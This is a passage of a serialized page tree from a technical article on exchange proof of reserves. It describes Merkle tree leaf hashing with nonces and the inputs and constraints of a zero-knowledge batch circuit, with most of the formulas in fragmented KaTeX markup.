PoR.",{"type":25,"tag":34,"props":96882,"children":96883},{},[96884],{"type":25,"tag":38,"props":96885,"children":96886},{},[96887],{"type":31,"value":96888},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":25,"tag":38,"props":96890,"children":96891},{},[96892],{"type":31,"value":96893},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":25,"tag":607,"props":96895,"children":96897},{"id":96896},"leaf-nodes",[96898],{"type":31,"value":96899},"Leaf Nodes",{"type":25,"tag":38,"props":96901,"children":96902},{},[96903],{"type":31,"value":96904},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":25,"tag":38,"props":96906,"children":96907},{},[96908],{"type":25,"tag":82,"props":96909,"children":96911},{"className":96910},[212,4696],[96912],{"type":25,"tag":216,"props":96913,"children":96915},{"className":96914},[224],[96916],{"type":25,"tag":216,"props":96917,"children":96919},{"className":96918,"ariaHidden":230},[229],[96920,96947],{"type":25,"tag":216,"props":96921,"children":96923},{"className":96922},[235],[96924,96929,96934,96938,96943],{"type":25,"tag":216,"props":96925,"children":96928},{"className":96926,"style":96927},[240],"height:0.6944em;",[],{"type":25,"tag":216,"props":96930,"children":96932},{"className":96931},[246,2145],[96933],{"type":31,"value":2605},{"type":25,"tag":216,"props":96935,"children":96937},{"className":96936,"style":258},[257],[],{"type":25,"tag":216,"props":96939,"children":96941},{"className":96940},[263],[96942],{"type":31,"value":266},{"type":25,"tag":216,"props":96944,"children":96946},{"className":96945,"style":258},[257],[],{"type":25,"tag":216,"props":96948,"children":96950},{"className":96949},[235],[96951,96956,96961,96967,96972,96977,96983,96988,96993,96998,97004,97009,97014,97020,97027,97033,97039,97097,97102,97108,97113,97118,97123,97128,97133,97138,97143,97148,97153,97210,97215,97220,97225,97230,97235,97240,97245,97250,97256,97261,97267,97273,97278,97283,97288,97293,97298,97303,97308,97313,97318,97323,97328,97333,97338,97343],{"type":25,"tag":216,"props":96952,"children":96955},{"className":96953,"style":96954},[240],"height:1.06em;vertical-align:-0.31em;",[],{"type":25,"tag":216,"props":96957,"children":96959},{"className":96958,"style":2146},[246,2145],[96960],{"type":31,"value":2149},{"type":25,"tag":216,"props":96962,"children":96964},{"className":96963},[246,2145],[96965],{"type":31,"value":96966},"ose",{"type":25,"tag":216,"props":96968,"children":96970},{"className":96969},[246,2145],[96971],{"type":31,"value":2283},{"type":25,"tag":216,"props":96973,"children":96975},{"className":96974},[246,2145],[96976],{"type":31,"value":74528},{"type":25,"tag":216,"props":96978,"children":96980},{"className":96979},[246,2145],[96981],{"type":31,"value":96982},"o",{"type":25,"tag":216,"props":96984,"children":96986},{"className":96985},[246,2145],[96987],{"type":31,"value":2190},{"type":25,"tag":216,"props":96989,"children":96991},{"className":96990},[287],[96992],{"type":31,"value":1844},{"type":25,"tag":216,"props":96994,"children":96996},{"className":96995},[246,2145],[96997],{"type":31,"value":162},{"type":25,"tag":216,"props":96999,"children":97001},{"className":97000},[246,2145],[97002],{"type":31,"value":97003},"sse",{"type":25,"tag":216,"props":97005,"children":97007},{"className":97006},[246,2145],[97008],{"type":31,"value":2928},{"type":25,"tag":216,"props":97010,"children":97012},{"className":97011,"style":2746},[246],[97013],{"type":31,"value":7025},{"type":25,"tag":216,"props":97015,"children":97017},{"className":97016},[246,2145],[97018],{"type":31,"value":97019},"ba",{"type":25,"tag":216,"props":97021,"children":97024},{"className":97022,"style":97023},[246,2145],"margin-right:0.01968em;",[97025],{"type":31,"value":97026},"l",{"type":25,"tag":216,"props":97028,"children":97030},{"className":97029},[246,2145],[97031],{"type":31,"value":97032},"an",{"type":25,"tag":216,"props":97034,"children":97036},{"className":97035},[246,2145],[97037],{"type":31,"value":97038},"ce",{"type":25,"tag":216,"props":97040,"children":97042},{"className":97041},[246],[97043,97048],{"type":25,"tag":216,"props":97044,"children":97046},{"className":97045},[246,2145],[97047],{"type":31,"value":3239},{"type":25,"tag":216,"props":97049,"children":97051},{"className":97050},[2153],[97052],{"type":25,"tag":216,"props":97053,"children":97055},{"className":97054},[298,299],[97056,97086],{"type":25,"tag":216,"props":97057,"children":97059},{"className":97058},[304],[97060,97081],{"type":25,"tag":216,"props":97061,"children":97064},{"className":97062,"style":97063},[309],"height:0.3011em;",[97065],{"type":25,"tag":216,"props":97066,"children":97067},{"style":2268},[97068,97072],{"type":25,"tag":216,"props":97069,"children":97071},{"className":97070,"style":2175},[319],[],{"type":25,"tag":216,"props":97073,"children":97075},{"className":97074},[2180,2181,2182,2183],[97076],{"type":25,"tag":216,"props":97077,"children":97079},{"className":97078},[246,2183],[97080],{"type":31,"value":1876},{"type":25,"tag":216,"props":97082,"children":97084},{"className":97083},[408],[97085],{"type":31,"value":411},{"type":25,"tag":216,"props":97087,"children":97089},{"className":97088},[304],[97090],{"type":25,"tag":216,"props":97091,"children":97093},{"className":97092,"style":2203},[309],[97094],{"type":25,"tag":216,"props":97095,"children":97096},{},[],{"type":25,"tag":216,"props":97098,"children":97100},{"className":97099},[257],[97101],{"type":31,"value":25635},{"type":25,"tag":216,"props":97103,"children":97105},{"className":97104},[246],[97106],{"type":31,"value":97107},"∣∣",{"type":25,"tag":216,"props":97109,"children":97111},{"className":97110},[257],[97112],{"type":31,"value":25635},{"type":25,"tag":216,"props":97114,"children":97116},{"className":97115},[246,2145],[97117],{"type":31,"value":162},{"type":25,"tag":216,"props":97119,"children":97121},{"className":97120},[246,2145],[97122],{"type":31,"value":97003},{"type":25,"tag":216,"props":97124,"children":97126},{"className":97125},[246,2145],[97127],{"type":31,"value":2928},{"type":25,"tag":216,"props":97129,"children":97131},{"className":97130,"style":2746},[246],[97132],{"type":31,"value":7025},{"type":25,"tag":216,"props":97134,"children":97136},{"className":97135},[246,2145],[97137],{"type":31,"value":97019},{"type":25,"tag":216,"props":97139,"children":97141},{"className":97140,"style":97023},[246,2145],[97142],{"type":31,"value":97026},{"type":25,"tag":216,"props":97144,"children":97146},{"className":97145},[246,2145],[97147],{"type":31,"value":97032},{"type":25,"tag":216,"props":97149,"children":97151},{"className":97150},[246,2145],[97152],{"type":31,"value":97038},{"type":25,"tag":216,"props":97154,"children":97156},{"className":97155},[246],[97157,97162],{"type":25,"tag":216,"props":97158,"children":97160},{"className":97159},[246,2145],[97161],{"type":31,"value":3239},{"type":25,"tag":216,"props":97163,"children":97165},{"className":97164},[2153],[97166],{"type":25,"tag":216,"props":97167,"children":97169},{"className":97168},[298,299],[97170,97199],{"type":25,"tag":216,"props":97171,"children":97173},{"className":97172},[304],[97174,97194],{"type":25,"tag":216,"props":97175,"children":97177},{"className":97176,"style":97063},[309],[97178],{"type":25,"tag":216,"props":97179,"children":97180},{"style":2268},[97181,97185],{"type":25,"tag":216,"props":97182,"children":97184},{"className":97183,"style":2175},[319],[],{"type":25,"tag":216,"props":97186,"children":97188},{"className":97187},[2180,2181,2182,2183],[97189],{"type":25,"tag":216,"props":97190,"children":97192},{"className":97191},[246,2183],[97193],{"type":31,"value":184},{"type":25,"tag":216,"props":97195,"children":97197},{"className":97196},[408],[97198],{"type":31,"value":411},{"type":25,"tag":216,"props":97200,"children":97202},{"className":97201},[304],[97203],{"type":25,"tag":216,"props":97204,"children":97206},{"className":97205,"style":2203},[309],[97207],{"type":25,"tag":216,"props":97208,"children":97209},{},[],{"type":25,"tag":216,"props":97211,"children":97213},{"className":97212},[257],[97214],{"type":31,"value":25635},{"type":25,"tag":216,"props":97216,"children":97218},{"className":97217},[246],[97219],{"type":31,"value":13541},{"type":25,"tag":216,"props":97221,"children":97223},{"className":97222},[257],[97224],{"type":31,"value":25635},{"type":25,"tag":216,"props":97226,"children":97228},{"className":97227},[246],[97229],{"type":31,"value":97107},{"type":25,"tag":216,"props":97231,"children":97233},{"className":97232},[257],[97234],{"type":31,"value":25635},{"type":25,"tag":216,"props":97236,"children":97238},{"className":97237,"style":5263},[246,2145],[97239],{"type":31,"value":5266},{"type":25,"tag":216,"props":97241,"children":97243},{"className":97242,"style":2673},[246,2145],[97244],{"type":31,"value":2676},{"type":25,"tag":216,"props":97246,"children":97248},{"className":97247},[246,2145],[97249],{"type":31,"value":80733},{"type":25,"tag":216,"props":97251,"children":97253},{"className":97252},[246],[97254],{"type":31,"value":97255},"256",{"type":25,"tag":216,"props":97257,"children":97259},{"className":97258},[287],[97260],{"type":31,"value":1844},{"type":25,"tag":216,"props":97262,"children":97264},{"className":97263},[246,2145],[97265],{"type":31,"value":97266},"u",{"type":25,"tag":216,"props":97268,"children":97270},{"className":97269,"style":2746},[246,2145],[97271],{"type":31,"value":97272},"ser",{"type":25,"tag":216,"props":97274,"children":97276},{"className":97275,"style":2746},[246],[97277],{"type":31,"value":7025},{"type":25,"tag":216,"props":97279,"children":97281},{"className":97280},[246,2145],[97282],{"type":31,"value":2283},{"type":25,"tag":216,"props":97284,"children":97286},{"className":97285},[246,2145],[97287],{"type":31,"value":74528},{"type":25,"tag":216,"props":97289,"children":97291},{"className":97290},[427],[97292],{"type":31,"value":1882},{"type":25,"tag":216,"props":97294,"children":97296},{"className":97295},[257],[97297],{"type":31,"value":25635},{"type":25,"tag":216,"props":97299,"children":97301},{"className":97300},[246],[97302],{"type":31,"value":97107},{"type":25,"tag":216,"props":97304,"children":97306},{"className":97305},[257],[97307],{"type":31,"value":25635},{"type":25,"tag":216,"props":97309,"children":97311},{"className":97310},[246,2145],[97312],{"type":31,"value":97266},{"type":25,"tag":216,"props":97314,"children":97316},{"className":97315,"style":2746},[246,2145],[97317],{"type":31,"value":97272},{"type":25,"tag":216,"props":97319,"children":97321},{"className":97320,"style":2746},[246],[97322],{"type":31,"value":7025},{"type":25,"tag":216,"props":97324,"children":97326},{"className":97325},[246,2145],[97327],{"type":31,"value":2190},{"type":25,"tag":216,"props":97329,"children":97331},{"className":97330},[246,2145],[97332],{"type":31,"value":96982},{"type":25,"tag":216,"props":97334,"children":97336},{"className":97335},[246,2145],[97337],{"type":31,"value":2190},{"type":25,"tag":216,"props":97339,"children":97341},{"className":97340},[246,2145],[97342],{"type":31,"value":97038},{"type":25,"tag":216,"props":97344,"children":97346},{"className":97345},[427],[97347],{"type":31,"value":1882},{"type":25,"tag":38,"props":97349,"children":97350},{},[97351,97353,97359],{"type":31,"value":97352},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":25,"tag":82,"props":97354,"children":97356},{"className":97355},[],[97357],{"type":31,"value":97358},"uuid",{"type":31,"value":97360},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":25,"tag":607,"props":97362,"children":97364},{"id":97363},"batch-circuit",[97365],{"type":31,"value":97366},"Batch Circuit",{"type":25,"tag":38,"props":97368,"children":97369},{},[97370],{"type":31,"value":97371},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":25,"tag":38,"props":97373,"children":97374},{},[97375],{"type":25,"tag":9267,"props":97376,"children":97377},{},[97378],{"type":31,"value":97379},"Public Inputs",{"type":25,"tag":2033,"props":97381,"children":97382},{},[97383,97388,97393],{"type":25,"tag":2037,"props":97384,"children":97385},{},[97386],{"type":31,"value":97387},"Asset prices in USD",{"type":25,"tag":2037,"props":97389,"children":97390},{},[97391],{"type":31,"value":97392},"Merkle tree hash",{"type":25,"tag":2037,"props":97394,"children":97395},{},[97396],{"type":31,"value":97397},"Summed asset balances",{"type":25,"tag":38,"props":97399,"children":97400},{},[97401],{"type":25,"tag":9267,"props":97402,"children":97403},{},[97404],{"type":31,"value":97405},"Private Inputs",{"type":25,"tag":2033,"props":97407,"children":97408},{},[97409,97414],{"type":25,"tag":2037,"props":97410,"children":97411},{},[97412],{"type":31,"value":97413},"Users balances",{"type":25,"tag":2037,"props":97415,"children":97416},{},[97417],{"type":31,"value":97418},"Merkle tree leaves hashes",{"type":25,"tag":38,"props":97420,"children":97421},{},[97422],{"type":25,"tag":9267,"props":97423,"children":97424},{},[97425],{"type":31,"value":97426},"Constraints",{"type":25,"tag":2033,"props":97428,"children":97429},{},[97430,97880,98047,98394,98791],{"type":25,"tag":2037,"props":97431,"children":97432},{},[97433],{"type":25,"tag":82,"props":97434,"children":97436},{"className":97435},[212,4696],[97437],{"type":25,"tag":216,"props":97438,"children":97440},{"className":97439},[224],[97441],{"type":25,"tag":216,"props":97442,"children":97444},{"className":97443,"ariaHidden":230},[229],[97445,97581,97785],{"type":25,"tag":216,"props":97446,"children":97448},{"className":97447},[235],[97449,97454,97459,97465,97470,97475,97480,97485,97490,97496,97501,97506,97511,97568,97572,97577],{"type":25,"tag":216,"props":97450,"children":97453},{"className":97451,"style":97452},[240],"height:0.9695em;vertical-align:-0.31em;",[],{"type":25,"tag":216,"props":97455,"children":97457},{"className":97456},[246,2145],[97458],{"type":31,"value":162},{"type":25,"tag":216,"props":97460,"children":97462},{"className":97461},[246,2145],[97463],{"type":31,"value":97464},"cco",{"type":25,"tag":216,"props":97466,"children":97468},{"className":97467},[246,2145],[97469],{"type":31,"value":97266},{"type":25,"tag":216,"props":97471,"children":97473},{"className":97472},[246,2145],[97474],{"type":31,"value":2190},{"type":25,"tag":216,"props":97476,"children":97478},{"className":97477},[246,2145],[97479],{"type":31,"value":2928},{"type":25,"tag":216,"props":97481,"children":97483},{"className":97482,"style":2746},[246],[97484],{"type":31,"value":7025},{"type":25,"tag":216,"props":97486,"children":97488},{"className":97487},[246,2145],[97489],{"type":31,"value":2393},{"type":25,"tag":216,"props":97491,"children":97493},{"className":97492,"style":2319},[246,2145],[97494],{"type":31,"value":97495},"q",{"type":25,"tag":216,"props":97497,"children":97499},{"className":97498},[246,2145],[97500],{"type":31,"value":97266},{"type":25,"tag":216,"props":97502,"children":97504},{"className":97503},[246,2145],[97505],{"type":31,"value":2283},{"type":25,"tag":216,"props":97507,"children":97509},{"className":97508},[246,2145],[97510],{"type":31,"value":2928},{"type":25,"tag":216,"props":97512,"children":97514},{"className":97513},[246],[97515,97520],{"type":25,"tag":216,"props":97516,"children":97518},{"className":97517,"style":2319},[246,2145],[97519],{"type":31,"value":7058},{"type":25,"tag":216,"props":97521,"children":97523},{"className":97522},[2153],[97524],{"type":25,"tag":216,"props":97525,"children":97527},{"className":97526},[298,299],[97528,97557],{"type":25,"tag":216,"props":97529,"children":97531},{"className":97530},[304],[97532,97552],{"type":25,"tag":216,"props":97533,"children":97535},{"className":97534,"style":2264},[309],[97536],{"type":25,"tag":216,"props":97537,"children":97538},{"style":2341},[97539,97543],{"type":25,"tag":216,"props":97540,"children":97542},{"className":97541,"style":2175},[319],[],{"type":25,"tag":216,"props":97544,"children":97546},{"className":97545},[2180,2181,2182,2183],[97547],{"type":25,"tag":216,"props":97548,"children":97550},{"className":97549},[246,2145,2183],[97551],{"type":31,"value":2283},{"type":25,"tag":216,"props":97553,"children":97555},{"className":97554},[408],[97556],{"type":31,"value":411},{"type":25,"tag":216,"props":97558,"children":97560},{"className":97559},[304],[97561],{"type":25,"tag":216,"props":97562,"children":97564},{"className":97563,"style":2203},[309],[97565],{"type":25,"tag":216,"props":97566,"children":97567},{},[],{"type":25,"tag":216,"props":97569,"children":97571},{"className":97570,"style":258},[257],[],{"type":25,"tag":216,"props":97573,"children":97575},{"className":97574},[263],[97576],{"type":31,"value":12522},{"type":25,"tag":216,"props":97578,"children":97580},{"className":97579,"style":258},[257],[],{"type":25,"tag":216,"props":97582,"children":97584},{"className":97583},[235],[97585,97589,97595,97600,97605,97610,97615,97620,97625,97630,97635,97640,97645,97650,97655,97660,97665,97670,97727,97732,97737,97742,97747,97752,97757,97762,97767,97772,97776,97781],{"type":25,"tag":216,"props":97586,"children":97588},{"className":97587,"style":96954},[240],[],{"type":25,"tag":216,"props":97590,"children":97592},{"className":97591},[246],[97593],{"type":31,"value":97594},"Σ",{"type":25,"tag":216,"props":97596,"children":97598},{"className":97597},[257],[97599],{"type":31,"value":25635},{"type":25,"tag":216,"props":97601,"children":97603},{"className":97602},[246,2145],[97604],{"type":31,"value":162},{"type":25,"tag":216,"props":97606,"children":97608},{"className":97607},[246,2145],[97609],{"type":31,"value":97464},{"type":25,"tag":216,"props":97611,"children":97613},{"className":97612},[246,2145],[97614],{"type":31,"value":97266},{"type":25,"tag":216,"props":97616,"children":97618},{"className":97617},[246,2145],[97619],{"type":31,"value":2190},{"type":25,"tag":216,"props":97621,"children":97623},{"className":97622},[246,2145],[97624],{"type":31,"value":2928},{"type":25,"tag":216,"props":97626,"children":97628},{"className":97627,"style":2746},[246],[97629],{"type":31,"value":7025},{"type":25,"tag":216,"props":97631,"children":97633},{"className":97632},[246,2145],[97634],{"type":31,"value":162},{"type":25,"tag":216,"props":97636,"children":97638},{"className":97637},[246,2145],[97639],{"type":31,"value":97003},{"type":25,"tag":216,"props":97641,"children":97643},{"className":97642},[246,2145],[97644],{"type":31,"value":2928},{"type":25,"tag":216,"props":97646,"children":97648},{"className":97647,"style":2746},[246],[97649],{"type":31,"value":7025},{"type":25,"tag":216,"props":97651,"children":97653},{"className":97652},[246,2145],[97654],{"type":31,"value":97019},{"type":25,"tag":216,"props":97656,"children":97658},{"className":97657,"style":97023},[246,2145],[97659],{"type":31,"value":97026},{"type":25,"tag":216,"props":97661,"children":97663},{"className":97662},[246,2145],[97664],{"type":31,"value":97032},{"type":25,"tag":216,"props":97666,"children":97668},{"className":97667},[246,2145],[97669],{"type":31,"value":97038},{"type":25,"tag":216,"props":97671,"children":97673},{"className":97672},[246],[97674,97679],{"type":25,"tag":216,"props":97675,"children":97677},{"className":97676},[246,2145],[97678],{"type":31,"value":3239},{"type":25,"tag":216,"props":97680,"children":97682},{"className":97681},[2153],[97683],{"type":25,"tag":216,"props":97684,"children":97686},{"className":97685},[298,299],[97687,97716],{"type":25,"tag":216,"props":97688,"children":97690},{"className":97689},[304],[97691,97711],{"type":25,"tag":216,"props":97692,"children":97694},{"className":97693,"style":2264},[309],[97695],{"type":25,"tag":216,"props":97696,"children":97697},{"style":2268},[97698,97702],{"type":25,"tag":216,"props":97699,"children":97701},{"className":97700,"style":2175},[319],[],{"type":25,"tag":216,"props":97703,"children":97705},{"className":97704},[2180,2181,2182,2183],[97706],{"type":25,"tag":216,"props":97707,"children":97709},{"className":97708},[246,2145,2183],[97710],{"type":31,"value":2283},{"type":25,"tag":216,"props":97712,"children":97714},{"className":97713},[408],[97715],{"type":31,"value":411},{"type":25,"tag":216,"props":97717,"children":97719},{"className":97718},[304],[97720],{"type":25,"tag":216,"props":97721,"children":97723},{"className":97722,"style":2203},[309],[97724],{"type":25,"tag":216,"props":97725,"children":97726},{},[],{"type":25,"tag":216,"props":97728,"children":97730},{"className":97729},[287],[97731],{"type":31,"value":7695},{"type":25,"tag":216,"props":97733,"children":97735},{"className":97734},[246,2145],[97736],{"type":31,"value":162},{"type":25,"tag":216,"props":97738,"children":97740},{"className":97739},[246,2145],[97741],{"type":31,"value":97003},{"type":25,"tag":216,"props":97743,"children":97745},{"className":97744},[246,2145],[97746],{"type":31,"value":2928},{"type":25,"tag":216,"props":97748,"children":97750},{"className":97749,"style":2746},[246],[97751],{"type":31,"value":7025},{"type":25,"tag":216,"props":97753,"children":97755},{"className":97754},[246,2145],[97756],{"type":31,"value":2190},{"type":25,"tag":216,"props":97758,"children":97760},{"className":97759},[246,2145],[97761],{"type":31,"value":97266},{"type":25,"tag":216,"props":97763,"children":97765},{"className":97764},[246,2145],[97766],{"type":31,"value":55096},{"type":25,"tag":216,"props":97768,"children":97770},{"className":97769},[427],[97771],{"type":31,"value":19362},{"type":25,"tag":216,"props":97773,"children":97775},{"className":97774,"style":335},[257],[],{"type":25,"tag":216,"props":97777,"children":97779},{"className":97778},[340],[97780],{"type":31,"value":8045},{"type":25,"tag":216,"props":97782,"children":97784},{"className":97783,"style":335},[257],[],{"type":25,"tag":216,"props":97786,"children":97788},{"className":97787},[235],[97789,97793,97798,97803,97808,97813,97818,97824,97829,97835,97840,97845,97850,97855,97860,97865,97870,97875],{"type":25,"tag":216,"props":97790,"children":97792},{"className":97791,"style":96954},[240],[],{"type":25,"tag":216,"props":97794,"children":97796},{"className":97795},[246,2145],[97797],{"type":31,"value":162},{"type":25,"tag":216,"props":97799,"children":97801},{"className":97800},[246,2145],[97802],{"type":31,"value":97003},{"type":25,"tag":216,"props":97804,"children":97806},{"className":97805},[246,2145],[97807],{"type":31,"value":2928},{"type":25,"tag":216,"props":97809,"children":97811},{"className":97810,"style":2746},[246],[97812],{"type":31,"value":7025},{"type":25,"tag":216,"props":97814,"children":97816},{"className":97815},[246,2145],[97817],{"type":31,"value":38},{"type":25,"tag":216,"props":97819,"children":97821},{"className":97820,"style":2746},[246,2145],[97822],{"type":31,"value":97823},"r",{"type":25,"tag":216,"props":97825,"children":97827},{"className":97826},[246,2145],[97828],{"type":31,"value":2283},{"type":25,"tag":216,"props":97830,"children":97832},{"className":97831},[246,2145],[97833],{"type":31,"value":97834},"ces",{"type":25,"tag":216,"props":97836,"children":97838},{"className":97837},[287],[97839],{"type":31,"value":7695},{"type":25,"tag":216,"props":97841,"children":97843},{"className":97842},[246,2145],[97844],{"type":31,"value":162},{"type":25,"tag":216,"props":97846,"children":97848},{"className":97847},[246,2145],[97849],{"type":31,"value":97003},{"type":25,"tag":216,"props":97851,"children":97853},{"className":97852},[246,2145],[97854],{"type":31,"value":2928},{"type":25,"tag":216,"props":97856,"children":97858},{"className":97857,"style":2746},[246],[97859],{"type":31,"value":7025},{"type":25,"tag":216,"props":97861,"children":97863},{"className":97862},[246,2145],[97864],{"type":31,"value":2190},{"type":25,"tag":216,"props":97866,"children":97868},{"className":97867},[246,2145],[97869],{"type":31,"value":97266},{"type":25,"tag":216,"props":97871,"children":97873},{"className":97872},[246,2145],[97874],{"type":31,"value":55096},{"type":25,"tag":216,"props":97876,"children":97878},{"className":97877},[427],[97879],{"type":31,"value":19362},{"type":25,"tag":2037,"props":97881,"children":97882},{},[97883,98041,98042],{"type":25,"tag":82,"props":97884,"children":97886},{"className":97885},[212,4696],[97887],{"type":25,"tag":216,"props":97888,"children":97890},{"className":97889},[224],[97891],{"type":25,"tag":216,"props":97892,"children":97894},{"className":97893,"ariaHidden":230},[229],[97895,98028],{"type":25,"tag":216,"props":97896,"children":97898},{"className":97897},[235],[97899,97903,97908,97913,97918,97923,97928,97933,97938,97943,97948,97953,97958,98015,98019,98024],{"type":25,"tag":216,"props":97900,"children":97902},{"className":97901,"style":97452},[240],[],{"type":25,"tag":216,"props":97904,"children":97906},{"className":97905},[246,2145],[97907],{"type":31,"value":162},{"type":25,"tag":216,"props":97909,"children":97911},{"className":97910},[246,2145],[97912],{"type":31,"value":97464},{"type":25,"tag":216,"props":97914,"children":97916},{"className":97915},[246,2145],[97917],{"type":31,"value":97266},{"type":25,"tag":216,"props":97919,"children":97921},{"className":97920},[246,2145],[97922],{"type":31,"value":2190},{"type":25,"tag":216,"props":97924,"children":97926},{"className":97925},[246,2145],[97927],{"type":31,"value":2928},{"type":25,"tag":216,"props":97929,"children":97931},{"className":97930,"style":2746},[246],[97932],{"type":31,"value":7025},{"type":25,"tag":216,"props":97934,"children":97936},{"className":97935},[246,2145],[97937],{"type":31,"value":2393},{"type":25,"tag":216,"props":97939,"children":97941},{"className":97940,"style":2319},[246,2145],[97942],{"type":31,"value":97495},{"type":25,"tag":216,"props":97944,"children":97946},{"className":97945},[246,2145],[97947],{"type":31,"value":97266},{"type":25,"tag":216,"props":97949,"children":97951},{"className":97950},[246,2145],[97952],{"type":31,"value":2283},{"type":25,"tag":216,"props":97954,"children":97956},{"className":97955},[246,2145],[97957],{"type":31,"value":2928},{"type":25,"tag":216,"props":97959,"children":97961},{"className":97960},[246],[97962,97967],{"type":25,"tag":216,"props":97963,"children":97965},{"className":97964,"style":2319},[246,2145],[97966],{"type":31,"value":7058},{"type":25,"tag":216,"props":97968,"children":97970},{"className":97969},[2153],[97971],{"type":25,"tag":216,"props":97972,"children":97974},{"className":97973},[298,299],[97975,98004],{"type":25,"tag":216,"props":97976,"children":97978},{"className":97977},[304],[97979,97999],{"type":25,"tag":216,"props":97980,"children":97982},{"className":97981,"style":2264},[309],[97983],{"type":25,"tag":216,"props":97984,"children":97985},{"style":2341},[97986,97990],{"type":25,"tag":216,"props":97987,"children":97989},{"className":97988,"style":2175},[319],[],{"type":25,"tag":216,"props":97991,"children":97993},{"className":97992},[2180,2181,2182,2183],[97994],{"type":25,"tag":216,"props":97995,"children":97997},{"className":97996},[246,2145,2183],[97998],{"type":31,"value":2283},{"type":25,"tag":216,"props":98000,"children":98002},{"className":98001},[408],[98003],{"type":31,"value":411},{"type":25,"tag":216,"props":98005,"children":98007},{"className":98006},[304],[98008],{"type":25,"tag":216,"props":98009,"children":98011},{"className":98010,"style":2203},[309],[98012],{"type":25,"tag":216,"props":98013,"children":98014},{},[],{"type":25,"tag":216,"props":98016,"children":98018},{"className":98017,"style":258},[257],[],{"type":25,"tag":216,"props":98020,"children":98022},{"className":98021},[263],[98023],{"type":31,"value":13894},{"type":25,"tag":216,"props":98025,"children":98027},{"className":98026,"style":258},[257],[],{"type":25,"tag":216,"props":98029,"children":98031},{"className":98030},[235],[98032,98036],{"type":25,"tag":216,"props":98033,"children":98035},{"className":98034,"style":5287},[240],[],{"type":25,"tag":216,"props":98037,"children":98039},{"className":98038},[246],[98040],{"type":31,"value":1876},{"type":31,"value":10403},{"type":25,"tag":9267,"props":98043,"children":98044},{},[98045],{"type":31,"value":98046},"(non-negativity)",{"type":25,"tag":2037,"props":98048,"children":98049},{},[98050,98388,98389],{"type":25,"tag":82,"props":98051,"children":98053},{"className":98052},[212,4696],[98054],{"type":25,"tag":216,"props":98055,"children":98057},{"className":98056},[224],[98058],{"type":25,"tag":216,"props":98059,"children":98061},{"className":98060,"ariaHidden":230},[229],[98062,98198],{"type":25,"tag":216,"props":98063,"children":98065},{"className":98064},[235],[98066,98070,98075,98080,98085,98090,98095,98100,98105,98110,98115,98120,98125,98130,98135,98140,98145,98150,98155,98160,98165,98170,98175,98180,98185,98189,98194],{"type":25,"tag":216,"props":98067,"children":98069},{"className":98068,"style":96954},[240],[],{"type":25,"tag":216,"props":98071,"children":98073},{"className":98072},[246,2145],[98074],{"type":31,"value":2928},{"type":25,"tag":216,"props":98076,"children":98078},{"className":98077},[246,2145],[98079],{"type":31,"value":96982},{"type":25,"tag":216,"props":98081,"children":98083},{"className":98082},[246,2145],[98084],{"type":31,"value":2928},{"type":25,"tag":216,"props":98086,"children":98088},{"className":98087},[246,2145],[98089],{"type":31,"value":162},{"type":25,"tag":216,"props":98091,"children":98093},{"className":98092,"style":97023},[246,2145],[98094],{"type":31,"value":97026},{"type":25,"tag":216,"props":98096,"children":98098},{"className":98097,"style":2746},[246],[98099],{"type":31,"value":7025},{"type":25,"tag":216,"props":98101,"children":98103},{"className":98102},[246,2145],[98104],{"type":31,"value":162},{"type":25,"tag":216,"props":98106,"children":98108},{"className":98107},[246,2145],[98109],{"type":31,"value":97003},{"type":25,"tag":216,"props":98111,"children":98113},{"className":98112},[246,2145],[98114],{"type":31,"value":2928},{"type":25,"tag":216,"props":98116,"children":98118},{"className":98117,"style":2746},[246],[98119],{"type":31,"value":7025},{"type":25,"tag":216,"props":98121,"children":98123},{"className":98122},[246,2145],[98124],{"type":31,"value":97019},{"type":25,"tag":216,"props":98126,"children":98128},{"className":98127,"style":97023},[246,2145],[98129],{"type":31,"value":97026},{"type":25,"tag":216,"props":98131,"children":98133},{"className":98132},[246,2145],[98134],{"type":31,"value":97032},{"type":25,"tag":216,"props":98136,"children":98138},{"className":98137},[246,2145],[98139],{"type":31,"value":97038},{"type":25,"tag":216,"props":98141,"children":98143},{"className":98142},[287],[98144],{"type":31,"value":7695},{"type":25,"tag":216,"props":98146,"children":98148},{"className":98147},[246,2145],[98149],{"type":31,"value":162},{"type":25,"tag":216,"props":98151,"children":98153},{"className":98152},[246,2145],[98154],{"type":31,"value":97003},{"type":25,"tag":216,"props":98156,"children":98158},{"className":98157},[246,2145],[98159],{"type":31,"value":2928},{"type":25,"tag":216,"props":98161,"children":98163},{"className":98162,"style":2746},[246],[98164],{"type":31,"value":7025},{"type":25,"tag":216,"props":98166,"children":98168},{"className":98167},[246,2145],[98169],{"type":31,"value":2190},{"type":25,"tag":216,"props":98171,"children":98173},{"className":98172},[246,2145],[98174],{"type":31,"value":97266},{"type":25,"tag":216,"props":98176,"children":98178},{"className":98177},[246,2145],[98179],{"type":31,"value":55096},{"type":25,"tag":216,"props":98181,"children":98183},{"className":98182},[427],[98184],{"type":31,"value":19362},{"type":25,"tag":216,"props":98186,"children":98188},{"className":98187,"style":258},[257],[],{"type":25,"tag":216,"props":98190,"children":98192},{"className":98191},[263],[98193],{"type":31,"value":12522},{"type":25,"tag":216,"props":98195,"children":98197},{"className":98196,"style":258},[257],[],{"type":25,"tag":216,"props":98199,"children":98201},{"className":98200},[235],[98202,98206,98211,98216,98221,98226,98231,98236,98241,98246,98251,98256,98261,98266,98271,98276,98281,98286,98343,98348,98353,98358,98363,98368,98373,98378,98383],{"type":25,"tag":216,"props":98203,"children":98205},{"className":98204,"style":96954},[240],[],{"type":25,"tag":216,"props":98207,"children":98209},{"className":98208},[246],[98210],{"type":31,"value":97594},{"type":25,"tag":216,"props":98212,"children":98214},{"className":98213},[257],[98215],{"type":31,"value":25635},{"type":25,"tag":216,"props":98217,"children":98219},{"className":98218},[246,2145],[98220],{"type":31,"value":162},{"type":25,"tag":216,"props":98222,"children":98224},{"className":98223},[246,2145],[98225],{"type":31,"value":97464},{"type":25,"tag":216,"props":98227,"children":98229},{"className":98228},[246,2145],[98230],{"type":31,"value":97